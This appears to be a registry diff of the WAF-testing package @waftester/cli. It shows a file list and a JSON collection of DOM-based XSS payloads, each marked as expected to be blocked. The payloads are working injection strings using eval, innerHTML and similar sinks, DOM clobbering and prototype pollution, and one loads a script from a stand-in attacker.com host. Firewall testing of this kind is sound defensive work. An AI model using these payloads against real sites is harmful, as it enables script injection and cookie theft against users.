@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,389 @@
1
+ [
2
+ {
3
+ "id": "XSS-DOM-020",
4
+ "payload": "<script>document.location='javascript:alert(1)'</script>",
5
+ "tags": [
6
+ "dom",
7
+ "document.location",
8
+ "quick"
9
+ ],
10
+ "expected_block": true,
11
+ "severity_hint": "Critical",
12
+ "notes": "DOM XSS via document.location assignment",
13
+ "category": "XSS"
14
+ },
15
+ {
16
+ "id": "XSS-DOM-021",
17
+ "payload": "<script>document.write('<img src=x onerror=alert(1)>')</script>",
18
+ "tags": [
19
+ "dom",
20
+ "document.write",
21
+ "quick"
22
+ ],
23
+ "expected_block": true,
24
+ "severity_hint": "Critical",
25
+ "notes": "DOM XSS via document.write",
26
+ "category": "XSS"
27
+ },
28
+ {
29
+ "id": "XSS-DOM-022",
30
+ "payload": "<script>eval(location.hash.slice(1))</script>",
31
+ "tags": [
32
+ "dom",
33
+ "eval",
34
+ "location.hash"
35
+ ],
36
+ "expected_block": true,
37
+ "severity_hint": "Critical",
38
+ "notes": "DOM XSS via eval with location.hash",
39
+ "category": "XSS"
40
+ },
41
+ {
42
+ "id": "XSS-DOM-023",
43
+ "payload": "<script>setTimeout(location.hash.slice(1), 100)</script>",
44
+ "tags": [
45
+ "dom",
46
+ "setTimeout",
47
+ "location.hash"
48
+ ],
49
+ "expected_block": true,
50
+ "severity_hint": "Critical",
51
+ "notes": "DOM XSS via setTimeout with location.hash",
52
+ "category": "XSS"
53
+ },
54
+ {
55
+ "id": "XSS-DOM-024",
56
+ "payload": "<script>setInterval(location.hash.slice(1), 1000)</script>",
57
+ "tags": [
58
+ "dom",
59
+ "setInterval",
60
+ "location.hash"
61
+ ],
62
+ "expected_block": true,
63
+ "severity_hint": "Critical",
64
+ "notes": "DOM XSS via setInterval with location.hash",
65
+ "category": "XSS"
66
+ },
67
+ {
68
+ "id": "XSS-DOM-025",
69
+ "payload": "<script>document.body.innerHTML = location.hash.slice(1)</script>",
70
+ "tags": [
71
+ "dom",
72
+ "innerHTML",
73
+ "location.hash",
74
+ "quick"
75
+ ],
76
+ "expected_block": true,
77
+ "severity_hint": "Critical",
78
+ "notes": "DOM XSS via innerHTML with location.hash",
79
+ "category": "XSS"
80
+ },
81
+ {
82
+ "id": "XSS-DOM-026",
83
+ "payload": "<script>document.getElementById('x').outerHTML = location.search.slice(1)</script>",
84
+ "tags": [
85
+ "dom",
86
+ "outerHTML",
87
+ "location.search"
88
+ ],
89
+ "expected_block": true,
90
+ "severity_hint": "Critical",
91
+ "notes": "DOM XSS via outerHTML with location.search",
92
+ "category": "XSS"
93
+ },
94
+ {
95
+ "id": "XSS-DOM-027",
96
+ "payload": "<script>window.name='<img src=x onerror=alert(1)>'; document.write(window.name)</script>",
97
+ "tags": [
98
+ "dom",
99
+ "window.name",
100
+ "persistent"
101
+ ],
102
+ "expected_block": true,
103
+ "severity_hint": "High",
104
+ "notes": "DOM XSS via window.name persistence",
105
+ "category": "XSS"
106
+ },
107
+ {
108
+ "id": "XSS-DOM-028",
109
+ "payload": "<script>document.domain='attacker.com'</script>",
110
+ "tags": [
111
+ "dom",
112
+ "document.domain",
113
+ "sop-bypass"
114
+ ],
115
+ "expected_block": true,
116
+ "severity_hint": "Critical",
117
+ "notes": "DOM XSS via document.domain SOP bypass",
118
+ "category": "XSS"
119
+ },
120
+ {
121
+ "id": "XSS-DOM-029",
122
+ "payload": "<script>new Function(location.hash.slice(1))()</script>",
123
+ "tags": [
124
+ "dom",
125
+ "Function",
126
+ "location.hash"
127
+ ],
128
+ "expected_block": true,
129
+ "severity_hint": "Critical",
130
+ "notes": "DOM XSS via Function constructor",
131
+ "category": "XSS"
132
+ },
133
+ {
134
+ "id": "XSS-DOM-030",
135
+ "payload": "<script>document.createElement('img').onerror = alert; document.images[0].src = 'x'</script>",
136
+ "tags": [
137
+ "dom",
138
+ "createElement",
139
+ "dynamic"
140
+ ],
141
+ "expected_block": true,
142
+ "severity_hint": "High",
143
+ "notes": "DOM XSS via createElement dynamic injection",
144
+ "category": "XSS"
145
+ },
146
+ {
147
+ "id": "XSS-DOM-031",
148
+ "payload": "<script>location = 'javascript:alert(document.cookie)'</script>",
149
+ "tags": [
150
+ "dom",
151
+ "location",
152
+ "cookie-theft"
153
+ ],
154
+ "expected_block": true,
155
+ "severity_hint": "Critical",
156
+ "notes": "DOM XSS location assignment with cookie theft",
157
+ "category": "XSS"
158
+ },
159
+ {
160
+ "id": "XSS-DOM-032",
161
+ "payload": "<script>window.open('javascript:alert(1)', '_self')</script>",
162
+ "tags": [
163
+ "dom",
164
+ "window.open"
165
+ ],
166
+ "expected_block": true,
167
+ "severity_hint": "High",
168
+ "notes": "DOM XSS via window.open javascript protocol",
169
+ "category": "XSS"
170
+ },
171
+ {
172
+ "id": "XSS-DOM-033",
173
+ "payload": "<script>document.querySelector('#target').insertAdjacentHTML('beforeend', location.hash.slice(1))</script>",
174
+ "tags": [
175
+ "dom",
176
+ "insertAdjacentHTML",
177
+ "location.hash"
178
+ ],
179
+ "expected_block": true,
180
+ "severity_hint": "Critical",
181
+ "notes": "DOM XSS via insertAdjacentHTML",
182
+ "category": "XSS"
183
+ },
184
+ {
185
+ "id": "XSS-DOM-034",
186
+ "payload": "<script>$('body').html(location.hash.slice(1))</script>",
187
+ "tags": [
188
+ "dom",
189
+ "jquery",
190
+ "html()"
191
+ ],
192
+ "expected_block": true,
193
+ "severity_hint": "Critical",
194
+ "notes": "DOM XSS via jQuery .html() method",
195
+ "category": "XSS"
196
+ },
197
+ {
198
+ "id": "XSS-DOM-035",
199
+ "payload": "<script>$('body').append(location.hash.slice(1))</script>",
200
+ "tags": [
201
+ "dom",
202
+ "jquery",
203
+ "append()"
204
+ ],
205
+ "expected_block": true,
206
+ "severity_hint": "Critical",
207
+ "notes": "DOM XSS via jQuery .append() method",
208
+ "category": "XSS"
209
+ },
210
+ {
211
+ "id": "XSS-DOM-036",
212
+ "payload": "<script>angular.element(document.body).scope().$eval(location.hash.slice(1))</script>",
213
+ "tags": [
214
+ "dom",
215
+ "angular",
216
+ "$eval"
217
+ ],
218
+ "expected_block": true,
219
+ "severity_hint": "Critical",
220
+ "notes": "DOM XSS via AngularJS $eval",
221
+ "category": "XSS"
222
+ },
223
+ {
224
+ "id": "XSS-DOM-037",
225
+ "payload": "<script>Vue.compile(location.hash.slice(1))</script>",
226
+ "tags": [
227
+ "dom",
228
+ "vue",
229
+ "compile"
230
+ ],
231
+ "expected_block": true,
232
+ "severity_hint": "Critical",
233
+ "notes": "DOM XSS via Vue.js template compilation",
234
+ "category": "XSS"
235
+ },
236
+ {
237
+ "id": "XSS-DOM-038",
238
+ "payload": "<script>React.createElement('script', {src: location.hash.slice(1)})</script>",
239
+ "tags": [
240
+ "dom",
241
+ "react",
242
+ "createElement"
243
+ ],
244
+ "expected_block": true,
245
+ "severity_hint": "High",
246
+ "notes": "DOM XSS via React.createElement",
247
+ "category": "XSS"
248
+ },
249
+ {
250
+ "id": "XSS-DOM-039",
251
+ "payload": "<script>window.postMessage(location.hash.slice(1), '*'); window.addEventListener('message', e => eval(e.data))</script>",
252
+ "tags": [
253
+ "dom",
254
+ "postMessage",
255
+ "message-listener"
256
+ ],
257
+ "expected_block": true,
258
+ "severity_hint": "Critical",
259
+ "notes": "DOM XSS via postMessage without origin check",
260
+ "category": "XSS"
261
+ },
262
+ {
263
+ "id": "XSS-DOM-040",
264
+ "payload": "<script>document.cookie = location.hash.slice(1) + '; document.location=location.hash.slice(1)'</script>",
265
+ "tags": [
266
+ "dom",
267
+ "cookie",
268
+ "redirect"
269
+ ],
270
+ "expected_block": true,
271
+ "severity_hint": "High",
272
+ "notes": "DOM XSS cookie manipulation with redirect",
273
+ "category": "XSS"
274
+ },
275
+ {
276
+ "id": "XSS-DOM-041",
277
+ "payload": "<form id=x><input id=attributes><input id=attributes></form><script>x.attributes[0].value='<img src=x onerror=alert(1)>'</script>",
278
+ "tags": [
279
+ "dom",
280
+ "clobbering",
281
+ "attributes"
282
+ ],
283
+ "expected_block": true,
284
+ "severity_hint": "High",
285
+ "notes": "DOM clobbering via attributes collection",
286
+ "category": "XSS"
287
+ },
288
+ {
289
+ "id": "XSS-DOM-042",
290
+ "payload": "<form id=x><input name=action><input name=action></form><script>x.action='javascript:alert(1)'</script>",
291
+ "tags": [
292
+ "dom",
293
+ "clobbering",
294
+ "form-action"
295
+ ],
296
+ "expected_block": true,
297
+ "severity_hint": "High",
298
+ "notes": "DOM clobbering via form.action",
299
+ "category": "XSS"
300
+ },
301
+ {
302
+ "id": "XSS-DOM-043",
303
+ "payload": "<a id=x href='javascript:alert(1)'></a><script>document.getElementById('x').click()</script>",
304
+ "tags": [
305
+ "dom",
306
+ "click-hijack"
307
+ ],
308
+ "expected_block": true,
309
+ "severity_hint": "High",
310
+ "notes": "DOM XSS via programmatic click on javascript: href",
311
+ "category": "XSS"
312
+ },
313
+ {
314
+ "id": "XSS-DOM-044",
315
+ "payload": "<script>Object.prototype.toString = function() { alert(1); return ''; }</script>",
316
+ "tags": [
317
+ "dom",
318
+ "prototype-pollution",
319
+ "toString"
320
+ ],
321
+ "expected_block": true,
322
+ "severity_hint": "Critical",
323
+ "notes": "DOM XSS via prototype pollution on toString",
324
+ "category": "XSS"
325
+ },
326
+ {
327
+ "id": "XSS-DOM-045",
328
+ "payload": "<script>document.scripts[0].src = 'https://attacker.com/evil.js'</script>",
329
+ "tags": [
330
+ "dom",
331
+ "script-src-modification"
332
+ ],
333
+ "expected_block": true,
334
+ "severity_hint": "Critical",
335
+ "notes": "DOM XSS via script src modification",
336
+ "category": "XSS"
337
+ },
338
+ {
339
+ "id": "XSS-DOM-046",
340
+ "payload": "<script>document.documentElement.innerHTML = location.hash.slice(1)</script>",
341
+ "tags": [
342
+ "dom",
343
+ "documentElement",
344
+ "innerHTML"
345
+ ],
346
+ "expected_block": true,
347
+ "severity_hint": "Critical",
348
+ "notes": "DOM XSS via documentElement.innerHTML",
349
+ "category": "XSS"
350
+ },
351
+ {
352
+ "id": "XSS-DOM-047",
353
+ "payload": "<script>history.pushState({}, '', location.hash.slice(1)); eval(location.pathname)</script>",
354
+ "tags": [
355
+ "dom",
356
+ "history-api",
357
+ "pushState"
358
+ ],
359
+ "expected_block": true,
360
+ "severity_hint": "Critical",
361
+ "notes": "DOM XSS via History API manipulation",
362
+ "category": "XSS"
363
+ },
364
+ {
365
+ "id": "XSS-DOM-048",
366
+ "payload": "<script>document.implementation.createHTMLDocument().write(location.hash.slice(1))</script>",
367
+ "tags": [
368
+ "dom",
369
+ "createHTMLDocument"
370
+ ],
371
+ "expected_block": true,
372
+ "severity_hint": "High",
373
+ "notes": "DOM XSS via createHTMLDocument",
374
+ "category": "XSS"
375
+ },
376
+ {
377
+ "id": "XSS-DOM-049",
378
+ "payload": "<script>window.localStorage.setItem('xss', location.hash.slice(1)); eval(window.localStorage.getItem('xss'))</script>",
379
+ "tags": [
380
+ "dom",
381
+ "localStorage",
382
+ "persistent"
383
+ ],
384
+ "expected_block": true,
385
+ "severity_hint": "Critical",
386
+ "notes": "DOM XSS via localStorage persistence",
387
+ "category": "XSS"
388
+ }
389
+ ]